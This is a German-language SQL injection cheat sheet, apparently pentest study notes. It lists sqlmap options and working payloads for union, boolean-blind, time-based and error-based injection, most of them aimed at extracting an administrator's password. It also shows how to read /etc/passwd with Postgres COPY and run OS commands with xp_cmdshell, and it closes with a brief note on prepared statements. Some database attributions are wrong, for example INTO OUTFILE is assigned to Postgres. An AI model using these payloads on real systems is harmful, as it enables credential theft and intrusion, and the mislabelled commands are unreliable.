Skip to content

SQL Injection

SQL Injection Cheat Sheet

Tools

Bei der Nutzung von SQLMap müssen noch weitere Dinge beachtet werden.
So sind beispielsweise einige Flags nur in dem SQLMap Wiki oder bei Aufruf von -hh und nicht in der Hilfe verfügbar.
Verschiedene Payloads funktionieren nur mit bestimmten Techniken. - B Boolean-based blind - E Error-based - U Union query-based - S Stacked queries - T Time-based blind - Q Inline queries Nutzt spezielle SQL-Konstrukte, die in bestimmten Datenbanksystemen möglich sind, um Daten direkt in die Antwort einzubetten. (Seltene Verwendung und nur für spezifische DBMS)

Aspekt Boolean-based Blind Time-based Blind
Funktionsweise Nutzt unterschiede in den Antworten Verwendet künstlich erzeugte Verzögerungen (z.B. sleep())
Geschwindigkeit Schneller da keine Wartezeiten nötig sind. Langsamer, da jede Anfrage eine festgelegte Verzögerung erfordert
Anwendungsfall Wenn die Anwendung Unterschiede bei True & False Antworten zeigt Wenn die Applikationen keine sichtbaren Unterschiede bei Antworten zeigt.
Payload Beispiel AND 1=1 und AND 1=2 ; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE NULL END--
Aspekt Union-based Stacked Queries
Funktionsweise Fügt UNION ALL SELECT-Statements hinzu, um Daten in bestehende Queries einzubinden Fügt zusätzliche SQL-Statements nach einem Semikolon ein.
Vorraussetzung Erfordert die Anzeige der Ergebnisse der SQL Anfrage Erfordert die Unterstützung von Stacked Queries
Nutzung Zum Auslesen von Daten (SELECT) Für beliebige SQL-Operationen (z.B. DROP TABLE, COPY-Befehle)

Fuktionen und Datenbanken

Funktion MySQL PostgreSQL Microsoft SQL
Download/Upload
Command execution and retrieval
out-of-band stateful TCP connection

Optimierungen In SQLmap gibt es einige Optionen zum optimieren der abfragen.
Dabei können alle Optimierungen mit -o eingeschaltet werden. Dabei ist auch die Option, die bei Nutzung von -o automatisch aktiviert wird --predict-output sehr interessant.
Diese versucht basierend auf der Datei txt/common.txt die Ausgaben zu erraten.
Dies ist sehr nützlich für Blind SQL Angriffe, da es diese verkürzen kann.
Daneben gibt es noch die ähnlichen Dump Funktionen: - --common-tables - --common-columns - --common-files

Erkennen von SQL Schwachstellen:

Mithilfe von Fehlermeldungen ist es möglich SQL Fehler zu erkennen.

  • Nutzung einfacher Zeichen: ', ", ;, ) und *
  • Nutzung enkodeter Zeichen: %27, %22, %23, %3B, %29 und %2A
  • Mehrfache Enkodierung: %%2727, %25%27
  • Unicode Zeichen: U+02BA, U+02B9
  • MODIFIER LETTER DOUBLE PRIME ( U+02BAcodiert als %CA%BA) wird U+0022QUOTATION MARK
  • MODIFIER LETTER PRIME ( U+02B9codiert als %CA%B9) wird U+0027APOSTROPHE (')
  • Boolean Konditionen wie OR 1=1 oder OR 1=2
  • Zeit verzögerungen
  • OAST Payloads, welche Netzwerkinteraktionen auslösen
  • Zusammenfügen mehrer Strings
  • `+HERP
  • '||'DERP
  • '+'herp
  • ' 'DERP
  • '%20'HERP
  • '%2B'HERP

Polyglot SQL

Polyglot SQL Payloads sind so designt, dass sie in verschiedenen Kontexten laufen.
Sie werden dabei je nach Kontext unterschiedlich ausgewertet.
Doch sind sie so designt, dass sie diese unterschiedliche Auswertung überstehen und genutzt werden können.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Einsatz in verschiedenen Kontexten

Direkter SQL-Kontext: Der erste SLEEP(1) wird ausgeführt, während der Rest als Kommentar behandelt wird.

SELECT * FROM users WHERE id = SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Kontext mit einfachen Anführungszeichen: Der Payload schließt das Anführungszeichen und führt dann den SLEEP-Befehl aus.

SELECT * FROM users WHERE username = 'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Kontext mit doppelten Anführungszeichen: Ähnlich, aber in einem Kontext mit doppelten Anführungszeichen.

SELECT * FROM users WHERE username = "SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed Injection

Bei der routed Injection ergibt sich aus der ersten SQL Abfrage eine zweite.
Dabei wird im ersten Schritt der Hex Wert dekodiert und dann genutzt.

' union select 0x2720756e696f6e2073656c65637420312c3223#

Auftreten von SQL Schwachstellen:

  • In dem UPDATE statement, in dem zu updatenden Wert oder in dem Where statement.
  • In dem INSERT statement, in dem einzufügenden statement
  • In dem SELECT statement, in dem Tabellen oder zeilen Namen
  • In dem SELECT statement, in dem Order by statement

Datenbank informationen

SELECT TABLE_NAME FROM information_schema.tables auflisten der Datenbanken
SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE FROM information_schema.columns WHERE table_name = '<name>'

Für Oracle ist es anders:

SELECT owner,table_name FROM all_tables
SELECT owner,column_name FROM all_tab_columns WHERE table_name = 'USERS'

Version der Datenbank

SELECT @@version # Microsoft, MySQL
SELECT banner FROM v$version # Oracle
SELECT version() # PostgreSQL
Auf Oracle Datenbanken muss zwingend eine Tabelle angegeben werden. Beispielsweise existiert die Tabelle dual auf Oracle Datenbanken.

Union Attacks

Bei Union Attacken, werden zwei SQL Anfragen miteinander verkettet, dafür muss aber die Anzahl der Argumente übereinstimmen. Dafür kann man die Anzahl der Argumente variieren oder mit ORDER BY <number> die Anzahl der Argumente herausfinden. Für Oracle muss eine Tabelle angegeben werden, um diesen Angriff auszuführen: UNION SELECT NULL FROM DUAL --

Blind SQL

Es ist möglich allein basierend auf der Rückgabe von True/False Werten Daten zu bestimmen mit dem folgenden Befehl:

' AND (SELECT 'a' FROM Users WHERE username = 'administrator' AND LENGTH(password) > 2") = 'a # Get Length
' AND (SELECT SUBSTRING(password,1, 1) from users where username='administrator')='a

'|| (SELECT CASE WHEN (username='administrator' and substring(password, 1, 1) > 'm') THEN pg_sleep(10) ELSE pg_sleep(0) END from users) ||'

Blind SQL mit zeitverzögerung

Eine Zeitverzögerung kann auf Microsoft SQL wie folgt erreicht werden:

'; IF (1=1) WAITFOR DELAY '0:0:10'--
Der einfachste Weg zu testen ist einfach eine Zeitverzögerung auszuführen, beispielsweise für Postgres kann dies wie folgt erledigt werden:
'||pg_sleep(10)--

Blind SQL With out-of-bands(OAST)

Es kann sein, dass eine Anfrage asynchron ausgeführt wird, also der Request weiter ausgeführt wird. Dann funktioniert die Sql Attackke mit zeitverzögerung nicht mehr. Dann ist es hilfreich Netzwerkinteraktionen auszuführen. Am besten klappt dies mit DNS, da dies für den Produktiv einsatz wichtig ist.

SQL with Conditional Error

Falls es einen Unterschied bei der Response gibt, je nachdem, ob das SQL gültig oder ungültig ist kann der folgende Ausdruck benutzt werden. Dies ist nützlich, wenn es keinen Unterschied gibt zwischen korekten SQL Anfragen.

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
'||(SELECT ''from users where rownum = 1)||'
'||(SELECT CASE WHEN (substr(password, 1, 1) > 'm') THEN TO_CHAR(1/0) ELSE 'a' end from users where username = 'administrator')||'

Informationsextraktion durch sql Fehler Nachrichten

Um Mithilfe von SQL Fehlernachrichten Informationen zu extrahieren, kann der folgende Code genutzt werden:

' AND CAST((SELECT password from users LIMIT 1) AS int)--

mehrere Reihen in einer

Sollen mehrere Reihen in einer angezeigt werden kann für Oracle die folgende Syntax genutzt werden:

' UNION SELECT username || '~' || password FROM users--
Die || sind zum konkatenieren von Strings.

Second-Order SQL Injections :worker: WIP

Eine SQL Injection wird ausgeführt und für die zukunft gespeichert. Das wird zumeist dadurch erreicht, dass eine SQL Schwachstelle gespeichert aber nicht ausgenutzt wird. Später mit einer anderen Anfrage wird diese SQL Injection dann ausgeführt. Diese Attacke kann dadurch entstehen, dass ein Schutzmechanismus eingebaut wird, an der Stelle, wo Usereingaben möglich sind, aber dieser Schutz nicht an anderen Stellen ebenfalls verwendet wird, wo diese Eingaben interpretiert werden.

Erkennung und Beispiel

Um diese Schwachstelle zu erkennen, kann wieder ein ' benutzt werden beispielsweise bei einem Login wird der user hacker' erstellt, nun wird sich mit dem User eingeloggt. Erscheint nun ein Fehler liegt wahrscheinlich eine Second Order SQL Schwachstelle vor. Um diese Schwachstelle nun auszunutzen kann nun der folgende User angelegt werden: ' or 'asd' = 'asd.

https://infosecwriteups.com/the-wrath-of-second-order-sql-injection-c9338a51c6d

Dateien lesen und schreiben

Der folgende Code erstellt eine Datenbank, schreibt die /etc/passwd rein und liest den Wert dann für postgres:

create table tmp(data text);
copy tmp from '/etc/passwd';
select * from tmp;
Eine Alternative für Postgres ist die pg_read_file() Funktion. Bei Mysql gibt es die LOAD_FILE() Funktion. Allerdings kann es bei Mysql sein, dass die Variable secure_file_priv gesetzt ist und den Zugriff auf Daten einschränkt. Dafür kann die Variable mit SELECT @@GLOBAL.secure_file_priv; abgefragt werden. Um Daten in Postgres zu schreiben kann die folgende Abfrage benutzt werden:
SELECT * FROM USERS INTO OUTFILE <FILE>

Code ausführen

Mit der folgenden Abfrage ist es unter Mysql möglich Code auszuführen, sofern diese Funktion explizit aktiviert wurde oder die nötigen Rechte vorliegen um diese zu aktivieren:

EXECUTE xp_cmdshell '<COMMAND>';
Falls diese Funktion nicht aktiviert ist, kann sie mit dem folgenden Kommando aktiviert werden:
EXECUTE sp_configure 'show advanced options',1; RECONFIGURE;
```"
# Nützliche SQL Kommandos
Mehrere Werte konkatenieren:
```sql
group_concat() #Mysql
String_AGG()# sql server und postgre
LISTAGG() # Oracle

WAF Bypass

https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/#generic-waf-bypass

Spezifische Datenbankangriffe

Verteidigung

Mit den sogenannten 'prepared Statements' ist es möglich SQL Anfragen vorzubereiten, dadurch kann kein SQL Code eingeschleust werden. Sollen trotzdem weitere SQL Anweisungen ausführbar sein, so müssen diese gewithelisted werden oder eine andere Logik muss benutzt werden.